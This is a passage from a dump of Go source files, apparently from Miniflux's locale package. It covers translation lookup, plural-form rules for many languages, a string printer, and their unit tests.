translationKey, localizedErr.translationKey)\n\t}\n\n\tif len(localizedErr.translationArgs) != 2 {\n\t\tt.Errorf(\"Expected 2 translation args, got %d\", len(localizedErr.translationArgs))\n\t}\n\n\tif localizedErr.translationArgs[0] != \"field1\" || localizedErr.translationArgs[1] != \"invalid\" {\n\t\tt.Errorf(\"Expected translation args [field1, invalid], got %v\", localizedErr.translationArgs)\n\t}\n}\n\nfunc TestLocalizedError_String(t *testing.T) {\n\tdefaultCatalog = catalog{\n\t\t\"en_US\": translationDict{\n\t\t\tsingulars: map[string]string{\n\t\t\t\t\"error.validation\": \"Validation failed for %s: %s\",\n\t\t\t},\n\t\t},\n\t}\n\n\tlocalizedErr := NewLocalizedError(\"error.validation\", \"username\", \"too short\")\n\n\tresult := localizedErr.String()\n\texpected := \"Validation failed for username: too short\"\n\tif result != expected {\n\t\tt.Errorf(\"Expected String() result %q, got %q\", expected, result)\n\t}\n}\n\nfunc TestLocalizedError_StringWithMissingTranslation(t *testing.T) {\n\tdefaultCatalog = catalog{\n\t\t\"en_US\": translationDict{},\n\t}\n\n\tlocalizedErr := NewLocalizedError(\"error.missing\", \"arg1\")\n\n\tresult := localizedErr.String()\n\texpected := \"error.missing%!(EXTRA string=arg1)\"\n\tif result != expected {\n\t\tt.Errorf(\"Expected String() result %q, got %q\", expected, result)\n\t}\n}\n\nfunc TestLocalizedError_Error(t *testing.T) {\n\tdefaultCatalog = catalog{\n\t\t\"en_US\": translationDict{\n\t\t\tsingulars: map[string]string{\n\t\t\t\t\"error.database\": \"Database connection failed: %s\",\n\t\t\t},\n\t\t},\n\t}\n\n\tlocalizedErr := NewLocalizedError(\"error.database\", \"timeout\")\n\n\tresult := localizedErr.Error()\n\tif result == nil {\n\t\tt.Error(\"Expected Error() to return a non-nil error\")\n\t}\n\n\texpected := \"Database connection failed: timeout\"\n\tif result.Error() != expected {\n\t\tt.Errorf(\"Expected Error() message %q, got %q\", expected, result.Error())\n\t}\n}\n\nfunc TestLocalizedError_Translate(t *testing.T) {\n\tdefaultCatalog = catalog{\n\t\t\"en_US\": translationDict{\n\t\t\tsingulars: map[string]string{\n\t\t\t\t\"error.permission\": \"Permission denied for %s\",\n\t\t\t},\n\t\t},\n\t\t\"es_ES\": translationDict{\n\t\t\tsingulars: map[string]string{\n\t\t\t\t\"error.permission\": \"Permiso denegado para %s\",\n\t\t\t},\n\t\t},\n\t}\n\n\tlocalizedErr := NewLocalizedError(\"error.permission\", \"admin panel\")\n\n\t// Test English translation\n\tresult := localizedErr.Translate(\"en_US\")\n\texpected := \"Permission denied for admin panel\"\n\tif result != expected {\n\t\tt.Errorf(\"Expected English translation %q, got %q\", expected, result)\n\t}\n\n\t// Test Spanish translation\n\tresult = localizedErr.Translate(\"es_ES\")\n\texpected = \"Permiso denegado para admin panel\"\n\tif result != expected {\n\t\tt.Errorf(\"Expected Spanish translation %q, got %q\", expected, result)\n\t}\n\n\t// Test with missing language\n\tresult = localizedErr.Translate(\"invalid_lang\")\n\texpected = \"error.permission%!(EXTRA string=admin panel)\"\n\tif result != expected {\n\t\tt.Errorf(\"Expected fallback translation %q, got %q\", expected, result)\n\t}\n}\n\nfunc TestLocalizedError_TranslateWithNoArgs(t *testing.T) {\n\tdefaultCatalog = catalog{\n\t\t\"en_US\": translationDict{\n\t\t\tsingulars: map[string]string{\n\t\t\t\t\"error.generic\": \"An error occurred\",\n\t\t\t},\n\t\t},\n\t\t\"de_DE\": translationDict{\n\t\t\tsingulars: map[string]string{\n\t\t\t\t\"error.generic\": \"Ein Fehler ist aufgetreten\",\n\t\t\t},\n\t\t},\n\t}\n\n\tlocalizedErr := NewLocalizedError(\"error.generic\")\n\n\t// Test English\n\tresult := localizedErr.Translate(\"en_US\")\n\texpected := \"An error occurred\"\n\tif result != expected {\n\t\tt.Errorf(\"Expected English translation %q, got %q\", expected, result)\n\t}\n\n\t// Test German\n\tresult = localizedErr.Translate(\"de_DE\")\n\texpected = \"Ein Fehler ist aufgetreten\"\n\tif result != expected {\n\t\tt.Errorf(\"Expected German translation %q, got %q\", expected, result)\n\t}\n}\n\nfunc TestLocalizedError_TranslateWithComplexArgs(t *testing.T) {\n\tdefaultCatalog = catalog{\n\t\t\"en_US\": translationDict{\n\t\t\tsingulars: map[string]string{\n\t\t\t\t\"error.complex\": \"Error %d: %s occurred at %s with severity %s\",\n\t\t\t},\n\t\t},\n\t}\n\n\tlocalizedErr := NewLocalizedError(\"error.complex\", 500, \"Internal Server Error\", \"2024-01-01\", \"high\")\n\n\tresult := localizedErr.Translate(\"en_US\")\n\texpected := \"Error 500: Internal Server Error occurred at 2024-01-01 with severity high\"\n\tif result != expected {\n\t\tt.Errorf(\"Expected complex translation %q, got %q\", expected, result)\n\t}\n}\n\nfunc TestLocalizedErrorWrapper_WithNilError(t *testing.T) {\n\t// This tests edge case behavior - what happens with nil error\n\twrapper := NewLocalizedErrorWrapper(nil, \"error.test\")\n\n\t// Error() should return nil\n\tresult := wrapper.Error()\n\tif result != nil {\n\t\tt.Errorf(\"Expected Error() to return nil, got %v\", result)\n\t}\n}\n\nfunc TestLocalizedErrorWrapper_TranslateWithEmptyKeyAndNilError(t *testing.T) {\n\twrapper := NewLocalizedErrorWrapper(nil, \"\")\n\n\tresult := wrapper.Translate(\"en_US\")\n\texpected := \"\"\n\tif result != expected {\n\t\tt.Errorf(\"Expected empty string for nil wrapped error, got %q\", result)\n\t}\n}\n\nfunc TestLocalizedError_EmptyKey(t *testing.T) {\n\tlocalizedErr := NewLocalizedError(\"\")\n\n\tresult := localizedErr.String()\n\texpected := \"\"\n\tif result != expected {\n\t\tt.Errorf(\"Expected empty string for empty key, got %q\", result)\n\t}\n\n\tresult = localizedErr.Translate(\"en_US\")\n\tif result != expected {\n\t\tt.Errorf(\"Expected empty string for empty key translation, got %q\", result)\n\t}\n}\n"
  },
  {
    "path": "internal/locale/locale.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage locale // import \"miniflux.app/v2/internal/locale\"\n\n// AvailableLanguages is the list of available languages.\nvar AvailableLanguages = map[string]string{\n\t\"ar_SA\":            \"العربية\",\n\t\"de_DE\":            \"Deutsch\",\n\t\"el_EL\":            \"Ελληνικά\",\n\t\"en_US\":            \"English\",\n\t\"es_ES\":            \"Español\",\n\t\"fi_FI\":            \"Suomi\",\n\t\"fr_FR\":            \"Français\",\n\t\"gl_ES\":            \"Galego\",\n\t\"hi_IN\":            \"हिन्दी\",\n\t\"id_ID\":            \"Bahasa Indonesia\",\n\t\"it_IT\":            \"Italiano\",\n\t\"ja_JP\":            \"日本語\",\n\t\"nan_Latn_pehoeji\": \"Pe̍h-ōe-jī\",\n\t\"nl_NL\":            \"Nederlands\",\n\t\"pl_PL\":            \"Polski\",\n\t\"pt_BR\":            \"Português Brasileiro\",\n\t\"ro_RO\":            \"Română\",\n\t\"ru_RU\":            \"Русский\",\n\t\"tr_TR\":            \"Türkçe\",\n\t\"uk_UA\":            \"Українська\",\n\t\"zh_CN\":            \"简体中文\",\n\t\"zh_TW\":            \"繁體中文\",\n}\n"
  },
  {
    "path": "internal/locale/locale_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage locale // import \"miniflux.app/v2/internal/locale\"\n\nimport \"testing\"\n\nfunc TestAvailableLanguages(t *testing.T) {\n\tresults := AvailableLanguages\n\tfor k, v := range results {\n\t\tif k == \"\" {\n\t\t\tt.Errorf(`Empty language key detected`)\n\t\t}\n\n\t\tif v == \"\" {\n\t\t\tt.Errorf(`Empty language value detected`)\n\t\t}\n\t}\n\n\tif _, found := results[\"en_US\"]; !found {\n\t\tt.Errorf(`We must have at least the default language (en_US)`)\n\t}\n}\n"
  },
  {
    "path": "internal/locale/plural.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage locale // import \"miniflux.app/v2/internal/locale\"\n\n// See https://localization-guide.readthedocs.io/en/latest/l10n/pluralforms.html\n// And http://www.unicode.org/cldr/charts/29/supplemental/language_plural_rules.html\nfunc getPluralForm(lang string, n int) int {\n\tswitch lang {\n\tcase \"ar_SA\":\n\t\tswitch {\n\t\tcase n == 0:\n\t\t\treturn 0\n\t\tcase n == 1:\n\t\t\treturn 1\n\t\tcase n == 2:\n\t\t\treturn 2\n\t\tcase n%100 >= 3 && n%100 <= 10:\n\t\t\treturn 3\n\t\tcase n%100 >= 11:\n\t\t\treturn 4\n\t\tdefault:\n\t\t\treturn 5\n\t\t}\n\tcase \"cs_CZ\":\n\t\tswitch {\n\t\tcase n == 1:\n\t\t\treturn 0\n\t\tcase n >= 2 && n <= 4:\n\t\t\treturn 1\n\t\tdefault:\n\t\t\treturn 2\n\t\t}\n\tcase \"gl_ES\":\n\t\tif n != 1 {\n\t\t\treturn 1\n\t\t}\n\t\treturn 0\n\tcase \"id_ID\", \"ja_JP\":\n\t\treturn 0\n\tcase \"pl_PL\":\n\t\tswitch {\n\t\tcase n == 1:\n\t\t\treturn 0\n\t\tcase n%10 >= 2 && n%10 <= 4 && (n%100 < 10 || n%100 >= 20):\n\t\t\treturn 1\n\t\tdefault:\n\t\t\treturn 2\n\t\t}\n\tcase \"ro_RO\":\n\t\tswitch {\n\t\tcase n == 1:\n\t\t\treturn 0\n\t\tcase n == 0 || (n%100 > 0 && n%100 < 20):\n\t\t\treturn 1\n\t\tdefault:\n\t\t\treturn 2\n\t\t}\n\tcase \"ru_RU\", \"uk_UA\", \"sr_RS\":\n\t\tswitch {\n\t\tcase n%10 == 1 && n%100 != 11:\n\t\t\treturn 0\n\t\tcase n%10 >= 2 && n%10 <= 4 && (n%100 < 10 || n%100 >= 20):\n\t\t\treturn 1\n\t\tdefault:\n\t\t\treturn 2\n\t\t}\n\tcase \"zh_CN\", \"zh_TW\", \"nan_Latn_pehoeji\":\n\t\treturn 0\n\tdefault: // includes fr_FR, pr_BR, tr_TR\n\t\tif n > 1 {\n\t\t\treturn 1\n\t\t}\n\t\treturn 0\n\t}\n}\n"
  },
  {
    "path": "internal/locale/plural_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage locale // import \"miniflux.app/v2/internal/locale\"\n\nimport \"testing\"\n\nfunc TestPluralRules(t *testing.T) {\n\tscenarios := map[string]map[int]int{\n\t\t// Default rule (covers fr_FR, pt_BR, tr_TR, and other unlisted languages)\n\t\t\"default\": {\n\t\t\t0: 0, // n <= 1\n\t\t\t1: 0, // n <= 1\n\t\t\t2: 1, // n > 1\n\t\t\t5: 1, // n > 1\n\t\t},\n\t\t// Arabic (ar_SA) - 6 forms\n\t\t\"ar_SA\": {\n\t\t\t0:   0, // n == 0\n\t\t\t1:   1, // n == 1\n\t\t\t2:   2, // n == 2\n\t\t\t3:   3, // n%100 >= 3 && n%100 <= 10\n\t\t\t5:   3, // n%100 >= 3 && n%100 <= 10\n\t\t\t10:  3, // n%100 >= 3 && n%100 <= 10\n\t\t\t11:  4, // n%100 >= 11\n\t\t\t15:  4, // n%100 >= 11\n\t\t\t99:  4, // n%100 >= 11\n\t\t\t100: 5, // default case (n%100 == 0, doesn't match any condition)\n\t\t\t101: 5, // default case (n%100 == 1, but n != 1)\n\t\t\t200: 5, // default case\n\t\t},\n\t\t// Czech (cs_CZ) - 3 forms\n\t\t\"cs_CZ\": {\n\t\t\t1: 0, // n == 1\n\t\t\t2: 1, // n >= 2 && n <= 4\n\t\t\t3: 1, // n >= 2 && n <= 4\n\t\t\t4: 1, // n >= 2 && n <= 4\n\t\t\t5: 2, // default case\n\t\t},\n\t\t// French (fr_FR) - uses default rule\n\t\t\"fr_FR\": {\n\t\t\t0: 0, // n <= 1\n\t\t\t1: 0, // n <= 1\n\t\t\t2: 1, // n > 1\n\t\t\t5: 1, // n > 1\n\t\t},\n\t\t// Galician (gl_ES) - n != 1\n\t\t\"gl_ES\": {\n\t\t\t0: 1, // n != 1\n\t\t\t1: 0, // n == 1\n\t\t\t2: 1, // n != 1\n\t\t\t5: 1, // n != 1\n\t\t},\n\t\t// Indonesian (id_ID) - always form 0\n\t\t\"id_ID\": {\n\t\t\t0:   0,\n\t\t\t1:   0,\n\t\t\t5:   0,\n\t\t\t100: 0,\n\t\t},\n\t\t// Japanese (ja_JP) - always form 0\n\t\t\"ja_JP\": {\n\t\t\t0:   0,\n\t\t\t1:   0,\n\t\t\t2:   0,\n\t\t\t5:   0,\n\t\t\t100: 0,\n\t\t},\n\t\t// Polish (pl_PL) - 3 forms\n\t\t\"pl_PL\": {\n\t\t\t1:  0, // n == 1\n\t\t\t2:  1, // n%10 >= 2 && n%10 <= 4 && (n%100 < 10 || n%100 >= 20)\n\t\t\t3:  1, // n%10 >= 2 && n%10 <= 4 && (n%100 < 10 || n%100 >= 20)\n\t\t\t4:  1, // n%10 >= 2 && n%10 <= 4 && (n%100 < 10 || n%100 >= 20)\n\t\t\t5:  2, // default case\n\t\t\t10: 2, // default case (n%100 < 10, but n%10 not in 2-4)\n\t\t\t11: 2, // default case (n%100 >= 10 and < 20)\n\t\t\t12: 2, // default case (n%100 >= 10 and < 20)\n\t\t\t22: 1, // n%10 >= 2 && n%10 <= 4 && (n%100 >= 20)\n\t\t\t24: 1, // n%10 >= 2 && n%10 <= 4 && (n%100 >= 20)\n\t\t},\n\t\t// Portuguese Brazilian (pt_BR) - uses default rule\n\t\t\"pt_BR\": {\n\t\t\t0: 0, // n <= 1\n\t\t\t1: 0, // n <= 1\n\t\t\t2: 1, // n > 1\n\t\t\t5: 1, // n > 1\n\t\t},\n\t\t// Romanian (ro_RO) - 3 forms\n\t\t\"ro_RO\": {\n\t\t\t0:   1, // n == 0 || (n%100 > 0 && n%100 < 20)\n\t\t\t1:   0, // n == 1\n\t\t\t2:   1, // n == 0 || (n%100 > 0 && n%100 < 20)\n\t\t\t5:   1, // n == 0 || (n%100 > 0 && n%100 < 20)\n\t\t\t19:  1, // n == 0 || (n%100 > 0 && n%100 < 20)\n\t\t\t20:  2, // default case\n\t\t\t21:  2, // default case\n\t\t\t100: 2, // default case (n%100 == 0, so condition fails)\n\t\t\t101: 1, // n%100 == 1, so n%100 > 0 && n%100 < 20\n\t\t},\n\t\t// Russian (ru_RU) - 3 forms\n\t\t\"ru_RU\": {\n\t\t\t1:  0, // n%10 == 1 && n%100 != 11\n\t\t\t2:  1, // n%10 >= 2 && n%10 <= 4 && (n%100 < 10 || n%100 >= 20)\n\t\t\t3:  1, // n%10 >= 2 && n%10 <= 4 && (n%100 < 10 || n%100 >= 20)\n\t\t\t4:  1, // n%10 >= 2 && n%10 <= 4 && (n%100 < 10 || n%100 >= 20)\n\t\t\t5:  2, // default case\n\t\t\t11: 2, // n%10 == 1 but n%100 == 11, so default case\n\t\t\t12: 2, // default case\n\t\t\t21: 0, // n%10 == 1 && n%100 != 11\n\t\t\t22: 1, // n%10 >= 2 && n%10 <= 4 && (n%100 >= 20)\n\t\t},\n\t\t// Serbian (sr_RS) - same as Russian\n\t\t\"sr_RS\": {\n\t\t\t1:  0, // n%10 == 1 && n%100 != 11\n\t\t\t2:  1, // n%10 >= 2 && n%10 <= 4 && (n%100 < 10 || n%100 >= 20)\n\t\t\t5:  2, // default case\n\t\t\t11: 2, // n%10 == 1 but n%100 == 11, so default case\n\t\t\t21: 0, // n%10 == 1 && n%100 != 11\n\t\t},\n\t\t// Turkish (tr_TR) - uses default rule\n\t\t\"tr_TR\": {\n\t\t\t0: 0, // n <= 1\n\t\t\t1: 0, // n <= 1\n\t\t\t2: 1, // n > 1\n\t\t\t5: 1, // n > 1\n\t\t},\n\t\t// Ukrainian (uk_UA) - same as Russian\n\t\t\"uk_UA\": {\n\t\t\t1:  0, // n%10 == 1 && n%100 != 11\n\t\t\t2:  1, // n%10 >= 2 && n%10 <= 4 && (n%100 < 10 || n%100 >= 20)\n\t\t\t5:  2, // default case\n\t\t\t11: 2, // n%10 == 1 but n%100 == 11, so default case\n\t\t\t21: 0, // n%10 == 1 && n%100 != 11\n\t\t},\n\t\t// Chinese Simplified (zh_CN) - always form 0\n\t\t\"zh_CN\": {\n\t\t\t0:   0,\n\t\t\t1:   0,\n\t\t\t5:   0,\n\t\t\t100: 0,\n\t\t},\n\t\t// Chinese Traditional (zh_TW) - always form 0\n\t\t\"zh_TW\": {\n\t\t\t0:   0,\n\t\t\t1:   0,\n\t\t\t5:   0,\n\t\t\t100: 0,\n\t\t},\n\t\t// Min Nan (nan_Latn_pehoeji) - always form 0\n\t\t\"nan_Latn_pehoeji\": {\n\t\t\t0:   0,\n\t\t\t1:   0,\n\t\t\t5:   0,\n\t\t\t100: 0,\n\t\t},\n\t\t// Additional languages from AvailableLanguages that use default rule\n\t\t\"de_DE\": {\n\t\t\t0: 0, // n <= 1\n\t\t\t1: 0, // n <= 1\n\t\t\t2: 1, // n > 1\n\t\t},\n\t\t\"el_EL\": {\n\t\t\t0: 0, // n <= 1\n\t\t\t1: 0, // n <= 1\n\t\t\t2: 1, // n > 1\n\t\t},\n\t\t\"en_US\": {\n\t\t\t0: 0, // n <= 1\n\t\t\t1: 0, // n <= 1\n\t\t\t2: 1, // n > 1\n\t\t},\n\t\t\"es_ES\": {\n\t\t\t0: 0, // n <= 1\n\t\t\t1: 0, // n <= 1\n\t\t\t2: 1, // n > 1\n\t\t},\n\t\t\"fi_FI\": {\n\t\t\t0: 0, // n <= 1\n\t\t\t1: 0, // n <= 1\n\t\t\t2: 1, // n > 1\n\t\t},\n\t\t\"hi_IN\": {\n\t\t\t0: 0, // n <= 1\n\t\t\t1: 0, // n <= 1\n\t\t\t2: 1, // n > 1\n\t\t},\n\t\t\"it_IT\": {\n\t\t\t0: 0, // n <= 1\n\t\t\t1: 0, // n <= 1\n\t\t\t2: 1, // n > 1\n\t\t},\n\t\t\"nl_NL\": {\n\t\t\t0: 0, // n <= 1\n\t\t\t1: 0, // n <= 1\n\t\t\t2: 1, // n > 1\n\t\t},\n\t\t// Test a language not in the switch (should use default rule)\n\t\t\"unknown_language\": {\n\t\t\t0: 0, // n <= 1\n\t\t\t1: 0, // n <= 1\n\t\t\t2: 1, // n > 1\n\t\t},\n\t}\n\n\tfor rule, values := range scenarios {\n\t\tfor input, expected := range values {\n\t\t\tresult := getPluralForm(rule, input)\n\t\t\tif result != expected {\n\t\t\t\tt.Errorf(`Unexpected result for %q rule, got %d instead of %d for %d as input`, rule, result, expected, input)\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "internal/locale/printer.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage locale // import \"miniflux.app/v2/internal/locale\"\n\nimport \"fmt\"\n\n// Printer converts translation keys to language-specific strings.\ntype Printer struct {\n\tlanguage string\n}\n\n// NewPrinter creates a new Printer instance for the given language.\nfunc NewPrinter(language string) *Printer {\n\treturn &Printer{language}\n}\n\nfunc (p *Printer) Print(key string) string {\n\tif dict, err := getTranslationDict(p.language); err == nil {\n\t\tif str, ok := dict.singulars[key]; ok {\n\t\t\treturn str\n\t\t}\n\t}\n\treturn key\n}\n\n// Printf is like fmt.Printf, but using language-specific formatting.\nfunc (p *Printer) Printf(key string, args ...any) string {\n\treturn fmt.Sprintf(p.Print(key), args...)\n}\n\n// Plural returns the translation of the given key by using the language plural form.\nfunc (p *Printer) Plural(key string, n int, args ...any) string {\n\tdict, err := getTranslationDict(p.language)\n\tif err != nil {\n\t\treturn key\n\t}\n\n\tif choices, found := dict.plurals[key]; found {\n\t\tindex := getPluralForm(p.language, n)\n\t\tif len(choices) > index {\n\t\t\treturn fmt.Sprintf(choices[index], args...)\n\t\t}\n\t}\n\n\treturn key\n}\n"
  },
  {
    "path": "internal/locale/printer_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage locale // import \"miniflux.app/v2/internal/locale\"\n\nimport \"testing\"\n\nfunc TestPrintfWithMissingLanguage(t *testing.T) {\n\tdefaultCatalog = catalog{}\n\ttranslation := NewPrinter(\"invalid\").Printf(\"missing.key\")\n\n\tif translation != \"missing.key\" {\n\t\tt.Errorf(`Wrong translation, got %q`, translation)\n\t}\n}\n\nfunc TestPrintfWithMissingKey(t *testing.T) {\n\tdefaultCatalog = catalog{\n\t\t\"en_US\": translationDict{\n\t\t\tsingulars: map[string]string{\n\t\t\t\t\"k\": \"v\",\n\t\t\t},\n\t\t},\n\t}\n\n\ttranslation := NewPrinter(\"en_US\").Printf(\"missing.key\")\n\tif translation != \"missing.key\" {\n\t\tt.Errorf(`Wrong translation, got %q`, translation)\n\t}\n}\n\nfunc TestPrintfWithExistingKey(t *testing.T) {\n\tdefaultCatalog = catalog{\n\t\t\"en_US\": translationDict{\n\t\t\tsingulars: map[string]string{\n\t\t\t\t\"auth.username\": \"Login\",\n\t\t\t},\n\t\t},\n\t}\n\n\ttranslation := NewPrinter(\"en_US\").Printf(\"auth.username\")\n\tif translation != \"Login\" {\n\t\tt.Errorf(`Wrong translation, got %q`, translation)\n\t}\n}\n\nfunc TestPrintfWithExistingKeyAndPlaceholder(t *testing.T) {\n\tdefaultCatalog = catalog{\n\t\t\"en_US\": translationDict{\n\t\t\tsingulars: map[string]string{\n\t\t\t\t\"key\": \"Test: %s\",\n\t\t\t},\n\t\t},\n\t\t\"fr_FR\": translationDict{\n\t\t\tsingulars: map[string]string{\n\t\t\t\t\"key\": \"Test : %s\",\n\t\t\t},\n\t\t},\n\t}\n\n\ttranslation := NewPrinter(\"fr_FR\").Printf(\"key\", \"ok\")\n\tif translation != \"Test : ok\" {\n\t\tt.Errorf(`Wrong translation, got %q`, translation)\n\t}\n}\n\nfunc TestPrintfWithMissingKeyAndPlaceholder(t *testing.T) {\n\tdefaultCatalog = catalog{\n\t\t\"en_US\": translationDict{\n\t\t\tsingulars: map[string]string{\n\t\t\t\t\"auth.username\": \"Login\",\n\t\t\t},\n\t\t},\n\t\t\"fr_FR\": translationDict{\n\t\t\tsingulars: map[string]string{\n\t\t\t\t\"auth.username\": \"Identifiant\",\n\t\t\t},\n\t\t},\n\t}\n\n\ttranslation := NewPrinter(\"fr_FR\").Printf(\"Status: %s\", \"ok\")\n\tif translation != \"Status: ok\" {\n\t\tt.Errorf(`Wrong translation, got %q`, translation)\n\t}\n}\n\nfunc TestPrintWithMissingLanguage(t *testing.T) {\n\tdefaultCatalog = catalog{}\n\ttranslation := NewPrinter(\"invalid\").Print(\"missing.key\")\n\n\tif translation != \"missing.key\" {\n\t\tt.Errorf(`Wrong translation, got %q`, translation)\n\t}\n}\n\nfunc TestPrintWithMissingKey(t *testing.T) {\n\tdefaultCatalog = catalog{\n\t\t\"en_US\": translationDict{\n\t\t\tsingulars: map[string]string{\n\t\t\t\t\"existing.key\": \"value\",\n\t\t\t},\n\t\t},\n\t}\n\n\ttranslation := NewPrinter(\"en_US\").Print(\"missing.key\")\n\tif translation != \"missing.key\" {\n\t\tt.Errorf(`Wrong translation, got %q`, translation)\n\t}\n}\n\nfunc TestPrintWithExistingKey(t *testing.T) {\n\tdefaultCatalog = catalog{\n\t\t\"en_US\": translationDict{\n\t\t\tsingulars: map[string]string{\n\t\t\t\t\"auth.username\": \"Login\",\n\t\t\t},\n\t\t},\n\t}\n\n\ttranslation := NewPrinter(\"en_US\").Print(\"auth.username\")\n\tif translation != \"Login\" {\n\t\tt.Errorf(`Wrong translation, got %q`, translation)\n\t}\n}\n\nfunc TestPrintWithDifferentLanguages(t *testing.T) {\n\tdefaultCatalog = catalog{\n\t\t\"en_US\": translationDict{\n\t\t\tsingulars: map[string]string{\n\t\t\t\t\"greeting\": \"Hello\",\n\t\t\t},\n\t\t},\n\t\t\"fr_FR\": translationDict{\n\t\t\tsingulars: map[string]string{\n\t\t\t\t\"greeting\": \"Bonjour\",\n\t\t\t},\n\t\t},\n\t\t\"es_ES\": translationDict{\n\t\t\tsingulars: map[string]string{\n\t\t\t\t\"greeting\": \"Hola\",\n\t\t\t},\n\t\t},\n\t}\n\n\ttests := []struct {\n\t\tlanguage string\n\t\texpected string\n\t}{\n\t\t{\"en_US\", \"Hello\"},\n\t\t{\"fr_FR\", \"Bonjour\"},\n\t\t{\"es_ES\", \"Hola\"},\n\t}\n\n\tfor _, test := range tests {\n\t\ttranslation := NewPrinter(test.language).Print(\"greeting\")\n\t\tif translation != test.expected {\n\t\t\tt.Errorf(`Wrong translation for %s, got %q instead of %q`, test.language, translation, test.expected)\n\t\t}\n\t}\n}\n\nfunc TestPrintWithEmptyKey(t *testing.T) {\n\tdefaultCatalog = catalog{\n\t\t\"en_US\": translationDict{\n\t\t\tsingulars: map[string]string{\n\t\t\t\t\"\": \"empty key translation\",\n\t\t\t},\n\t\t},\n\t}\n\n\ttranslation := NewPrinter(\"en_US\").Print(\"\")\n\tif translation != \"empty key translation\" {\n\t\tt.Errorf(`Wrong translation for empty key, got %q`, translation)\n\t}\n}\n\nfunc TestPrintWithEmptyTranslation(t *testing.T) {\n\tdefaultCatalog = catalog{\n\t\t\"en_US\": translationDict{\n\t\t\tsingulars: map[string]string{\n\t\t\t\t\"empty.value\": \"\",\n\t\t\t},\n\t\t},\n\t}\n\n\ttranslation := NewPrinter(\"en_US\").Print(\"empty.value\")\n\tif translation != \"\" {\n\t\tt.Errorf(`Wrong translation for empty value, got %q`, translation)\n\t}\n}\n\nfunc TestPluralWithDefaultRule(t *testing.T) {\n\tdefaultCatalog = catalog{\n\t\t\"en_US\": translationDict{\n\t\t\tplurals: map[string][]string{\n\t\t\t\t\"number_of_users\": {\"%d user (%s)\", \"%d users (%s)\"},\n\t\t\t},\n\t\t},\n\t\t\"fr_FR\": translationDict{\n\t\t\tplurals: map[string][]string{\n\t\t\t\t\"number_of_users\": {\"%d utilisateur (%s)\", \"%d utilisateurs (%s)\"},\n\t\t\t},\n\t\t},\n\t}\n\n\tprinter := NewPrinter(\"fr_FR\")\n\ttranslation := printer.Plural(\"number_of_users\", 1, 1, \"some text\")\n\texpected := \"1 utilisateur (some text)\"\n\tif translation != expected {\n\t\tt.Errorf(`Wrong translation, got %q instead of %q`, translation, expected)\n\t}\n\n\ttranslation = printer.Plural(\"number_of_users\", 2, 2, \"some text\")\n\texpected = \"2 utilisateurs (some text)\"\n\tif translation != expected {\n\t\tt.Errorf(`Wrong translation, got %q instead of %q`, translation, expected)\n\t}\n}\n\nfunc TestPluralWithRussianRule(t *testing.T) {\n\tdefaultCatalog = catalog{\n\t\t\"en_US\": translationDict{\n\t\t\tplurals: map[string][]string{\n\t\t\t\t\"time_elapsed.years\": {\"%d year\", \"%d years\"},\n\t\t\t},\n\t\t},\n\t\t\"ru_RU\": translationDict{\n\t\t\tplurals: map[string][]string{\n\t\t\t\t\"time_elapsed.years\": {\"%d год назад\", \"%d года назад\", \"%d лет назад\"},\n\t\t\t},\n\t\t},\n\t}\n\n\tprinter := NewPrinter(\"ru_RU\")\n\n\ttranslation := printer.Plural(\"time_elapsed.years\", 1, 1)\n\texpected := \"1 год назад\"\n\tif translation != expected {\n\t\tt.Errorf(`Wrong translation, got %q instead of %q`, translation, expected)\n\t}\n\n\ttranslation = printer.Plural(\"time_elapsed.years\", 2, 2)\n\texpected = \"2 года назад\"\n\tif translation != expected {\n\t\tt.Errorf(`Wrong translation, got %q instead of %q`, translation, expected)\n\t}\n\n\ttranslation = printer.Plural(\"time_elapsed.years\", 5, 5)\n\texpected = \"5 лет назад\"\n\tif translation != expected {\n\t\tt.Errorf(`Wrong translation, got %q instead of %q`, translation, expected)\n\t}\n}\n\nfunc TestPluralWithMissingTranslation(t *testing.T) {\n\tdefaultCatalog = catalog{\n\t\t\"en_US\": translationDict{\n\t\t\tplurals: map[string][]string{\n\t\t\t\t\"number_of_users\": {\"%d user (%s)\", \"%d users (%s)\"},\n\t\t\t},\n\t\t},\n\t\t\"fr_FR\": translationDict{},\n\t}\n\ttranslation := NewPrinter(\"fr_FR\").Plural(\"number_of_users\", 2)\n\texpected := \"number_of_users\"\n\tif translation != expected {\n\t\tt.Errorf(`Wrong translation, got %q instead of %q`, translation, expected)\n\t}\n}\n\nfunc TestPluralWithMissingLanguage(t *testing.T) {\n\tdefaultCatalog = catalog{}\n\ttranslation := NewPrinter(\"invalid_language\").Plural(\"test.key\", 2)\n\texpected := \"test.key\"\n\tif translation != expected {\n\t\tt.Errorf(`Wrong translation, got %q instead of %q`, translation, expected)\n\t}\n}\n\nfunc TestPluralWithIndexOutOfBounds(t *testing.T) {\n\tdefaultCatalog = catalog{\n\t\t\"test_lang\": translationDict{\n\t\t\tplurals: map[string][]string{\n\t\t\t\t\"limited.key\": {\"only one form\"},\n\t\t\t},\n\t\t},\n\t}\n\n\t// Force a scenario where getPluralForm might return an index >= len(plurals)\n\t// We'll create a scenario with Czech language rules\n\tdefaultCatalog[\"cs_CZ\"] = translationDict{\n\t\tplurals: map[string][]string{\n\t\t\t\"limited.key\": {\"one form only\"}, // Only one form, but Czech has 3 plural forms\n\t\t},\n\t}\n\n\tprinter := NewPrinter(\"cs_CZ\")\n\t// n=5 should return index 2 for Czech, but we only have 1 form (index 0)\n\ttranslation := printer.Plural(\"limited.key\", 5)\n\texpected := \"limited.key\"\n\tif translation != expected {\n\t\tt.Errorf(`Wrong translation for out of bounds index, got %q instead of %q`, translation, expected)\n\t}\n}\n\nfunc TestPluralWithVariousLanguageRules(t *testing.T) {\n\tdefaultCatalog = catalog{\n\t\t\"ar_SA\": 